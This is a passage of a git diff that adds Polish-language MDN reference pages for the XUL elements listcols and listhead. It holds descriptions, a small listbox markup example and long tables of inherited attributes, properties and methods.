href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/listcols/index.html b/files/pl/mozilla/tech/xul/listcols/index.html
new file mode 100644
index 0000000000..d7a01a0760
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/listcols/index.html
@@ -0,0 +1,109 @@
+---
+title: listcols
+slug: Mozilla/Tech/XUL/listcols
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/listcols
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener dla kolumn <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, tworzonych przy użyciu elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code>. W elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code> powinien znajdować się wyłącznie jeden potomny element <code>listcols</code>. Jeśli element <code>listcols</code> zostanie pominięty, pudełko listy będzie jednokolumnowe.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre>&lt;!-- Tworzy dwie kolumny listbox --&gt;
+&lt;listbox&gt;
+ &lt;listcols&gt;
+ &lt;listcol/&gt;
+ &lt;listcol/&gt;
+ &lt;/listcols&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Buck"/&gt;
+ &lt;listcell label="Rogers"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="John"/&gt;
+ &lt;listcell label="Painter"/&gt;
+ &lt;/listitem
+&lt;/listbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/listhead/index.html b/files/pl/mozilla/tech/xul/listhead/index.html
new file mode 100644
index 0000000000..a6e2d81f88
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/listhead/index.html
@@ -0,0 +1,125 @@
+---
+title: listhead
+slug: Mozilla/Tech/XUL/listhead
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/listhead
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Wiersz nagłówka <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>. Zazwyczaj umieszcza się w nim elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code>, po jednym dla każdej każdej kolumny.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-disabled">disabled</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(przykłady potrzebne)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-disabled">
+<dl>
+ <dt>
